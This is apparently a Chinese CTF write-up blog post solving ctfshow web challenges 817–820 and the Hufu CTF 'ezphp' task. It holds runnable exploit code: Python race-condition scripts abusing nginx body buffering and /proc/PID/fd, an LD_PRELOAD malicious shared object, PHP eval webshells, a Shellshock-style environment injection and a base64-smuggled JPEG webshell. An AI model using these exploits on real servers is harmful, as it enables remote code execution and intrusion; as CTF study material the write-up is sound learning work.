[ctfshow web入门]常用姿势817-820 &&虎符ctf ezphp

0x00 前言

接上一篇继续记录ctfshow web入门常用姿势 嗝

817 && 群友挑战套娃shell

$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
	shell_exec(shell_exec("cat $file"));

}

非预期

自己当时做的是非预期解,问就是知道flagfile
第一层读取文件内容,第二层执行读取的文件内容
那么直接第一层读取flagfile,那么第二层shell_exec会将flagfile的内容显现在进程列表里
同时开启里一个线程访问ps -ef的执行结果

import socket
import threading

url = 'pwn.challenge.ctf.show'
port =  28002


# 创建请求消息头
#request_url = 'GET /?env=BASH_FUNC_echo%25%25=()%20{%20id;%20} HTTP/1.1\r\nHost: pwn.challenge.ctf.show\r\nConnection: close\r\n\r\n'
def func1():
    request_url_1 = 'GET /?file=/flagfile&a='+'a'*50+'HTTP/1.1\r\nHost: pwn.challenge.ctf.show\r\nConnection: close\r\n\r\n' #填了点垃圾字符让这个请求延迟久一点 理论上send_payload后sleep一下也可以
    for i in range(20):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((url, port))
        sock.send(request_url_1.encode())
        response = b''
        rec = sock.recv(1024)
        while rec:
            response += rec
            rec = sock.recv(1024)
        print(response.decode())
        # return response.decode()

def func2():
    # 创建TCP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务端
    sock.connect((url, port))
    request_url_2 = 'GET / HTTP/1.1\r\nHost: pwn.challenge.ctf.show\r\nConnection: close\r\n\r\n'
    for i in range(20):
        sock.send(request_url_2.encode())
        response = b''
        rec = sock.recv(1024)
        while rec:
            response += rec
            rec = sock.recv(1024)
        print(response.decode())
        #return response.decode()

thread1 = threading.Thread(target=func1)
thread2 = threading.Thread(target=func2)

thread1.start()
thread2.start()

在这里插入图片描述

预期解

不过这道用socket发包sleep延时就行 没必要竞争了
参照818 读取fd目录下缓存body

# coding: utf-8

import requests
import  threading
import socket
import re

url="http://pwn.challenge.ctf.show:28095/"
pid=124
def writeBuffer():
	while True:
		r=requests.post(url=url,data=b'evil commnad'+b'\n'*1024*200)


def readBuffer():
	while True:
		for fd in range(10,16):
			print(fd)
			r=requests.get(url=url+f"?file=/proc/{pid}/fd/{fd}")
			print(r.content)

for i in range(30):
	t = threading.Thread(target=writeBuffer)
	t.start()
for j in range(30):
	a = threading.Thread(target=readBuffer)
	a.start()


818 && 虎符ctf ezphp

看一下几个重要配置

http://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size

nginx body缓存机制
请求body体字段大于缓冲区大小(默认配置下,缓冲区大小等于两个内存也,64位机器则为16K),会将整个body字段或其中一部分写入一个临时文件
在这里插入图片描述
临时目录默认规则如下:

/var/lib/nginx/tmp/client_body/000000001
/var/lib/nginx/tmp/client_body/000000002
/var/lib/nginx/tmp/client_body/000000003

在这里插入图片描述
在这里插入图片描述

dockerfile搭建实测一下

docker build .
docker run -d -p 80:80 xx

准备经典恶意so

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("evil command");
} 

dd追加脏字符

https://blog.csdn.net/qq_33160790/article/details/77488160

inotifywait监听文件变化

inotifywait -mrq --timefmt '%y %m %d %H %M' --format '%T %w %f %e' / -e create,delete,close

间断发包
此处的body缓存,nginx读取完毕后,转发给php-fpm就删除了->php解释执行前就删除了
在这里插入图片描述
可以看到基本是秒删,那么我们利用的机会在哪呢
在这里插入图片描述

On Linux, the set of file descriptors open in a process can be accessed under the path /proc/PID/fd/, where PID is the process identifier.

如果一个进程打开了某个文件(同时在没有被关闭的情况下就被删除了),那么这个文件就会出现在 /proc/PID/fd/ 目录下

做个上传测试一下

第一个脚本post数据

关于为什么用pwntools(socket)发包?

直接使用request或者bp发包,无法让我们在tcp层做延迟
socket发包+sleep 使我们在发送完payload之后延迟关闭连接,误使server端认为我们的payload还没发送完,就会暂时保存body缓存内容(实测确实在conn.close()之前,fd目录下的body缓存文件一直存在)

import requests
import time
import socket
from pwn import *

host = "1.15.67.48"
port = 80
url = remote(host,port)

def getSo():
    with open('1.so','rb') as f:
        ret = f.read()
    return ret

#payload = getSo()+b'\n'*30*1024
payload = '<?php eval($_POST[kidult]);?>'.encode()+b'A'*16*1024
send_payload='''POST /index.php HTTP/1.1\r
Host:{host}\r
Content-Length:{length}\r
\r
{data}
'''.format(host=host,length=len(payload)+300,data=payload)

url.send(send_payload)

time.sleep(20)
url.close()

第二个脚本通过shell读取fd目录下内容,看看我们的payload是否能在fd目录下读到

import requests

url="http://1.15.67.48/kidult.php"

while True:
    for i in range(1,15):
        data={
            "1":"system('cat /proc/12/fd/{}');".format(i)
        }
        res=requests.post(url,data=data)

        if res.text.find('eval')>0:
            print("include success")
            print(res.text)
            exit()
        print("system('cat /proc/12/fd/{}');".format(i))

做了几遍测试都在 fd/11 处读到了
在url.close()之前,持续能访问到body缓存,那么通过这个窗口期,我们就能利用
在这里插入图片描述
ok下面实战

结果在实际测试payload为so文件的时候,无法使body缓存文件在fd目录下停留(也不知道为什么)正常脏字符加文本是可以通过socket发包后sleep停留的 进行了很多调试也尚未找到原因
inotify监控下上传so文件+脏字符的情况
此时body缓存文件是秒close_write的…
在这里插入图片描述
上传正常文本加脏字符得情况
此时body缓存文件会等conn.close()后才close_write
在这里插入图片描述
果然 还是条件竞争的成功率更高
哈哈哈看上去太爽了
在这里插入图片描述

exp

# coding: utf-8

import requests
import  threading
import socket
import re

url="http://xxxx/index.php"
pid=xx

def writeBuffer():
	while True:
		r=requests.post(url=url,data=open('hack.so','rb').read()+b'\n'*1024*200)


def readBuffer():
	while True:
		for fd in range(10,16):
			print(fd)
			r=requests.get(url=url+f"?env=LD_PRELOAD=/proc/{pid}/fd/{fd}")
			print(r.content)

for i in range(30):
	t = threading.Thread(target=writeBuffer)
	t.start()
for j in range(30):
	a = threading.Thread(target=readBuffer)
	a.start()


参考文章

https://bkfish.github.io/2022/03/20/2022%E8%99%8E%E7%AC%A6ezphp%E5%AE%8C%E6%95%B4%E8%BF%87%E7%A8%8B/

819 借壳生蛋

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-04-28 16:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2022-04-29 19:51:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$env = $_GET['env'];
if(isset($env)){
    putenv($env);
    system("whoami");
}else{
    highlight_file(__FILE__);
}

参考p神文章

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

php system执行的是 sh -c
当初的破壳漏洞
在这里插入图片描述

poc
在这里插入图片描述

/?env=BASH_FUNC_whoami%%=() { id; }

在这里插入图片描述

820 非常规文件上传

php中的base64_decode只对合法字符合并后进行解码,非法字符会直接丢弃,不参与整体的base64解码
合法字符包括

A-Za-z0-9/+

字母26+26 数字是10,符号是2
26+26+10=2=64
等于号是占位符,非编码范围内

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-04-30 10:52:40
# @Last Modified by:   h1xa
# @Last Modified time: 2022-04-30 16:59:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);

if(strlen($_FILES['file']['tmp_name'])>0){
    $filetype = $_FILES['file']['type'];
    $tmpname = $_FILES['file']['tmp_name'];
    $ef = getimagesize($tmpname);

    if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
        $content = base64_decode(file_get_contents($tmpname));
        file_put_contents("shell.php", $content);
        echo "file upload success!";
    }
}else{
    highlight_file(__FILE__);
}

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING> 级的错误信息。

与之前不同的是 这一次会base64_decode后存放图片
绕过getimagesize+base64解码
在这里插入图片描述
群主构造好的jpg
所有合法字符加起来为
PD89YCRfR0VUWzFdYDs7Pz4C

<?=`$_GET[1]`;;?>

直接shell_exec执行
在这里插入图片描述
画图软件造了一张1000*1000的纯白图片
在这里插入图片描述

0x23和0x92两位做了变动会破坏图片的原有格式
在这里插入图片描述
保险点 winhex一个一个改,非法了就撤回
不重复造轮子了直接嫖了

0x01 rethink

还是太菜了 希望后面能回来填坑

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值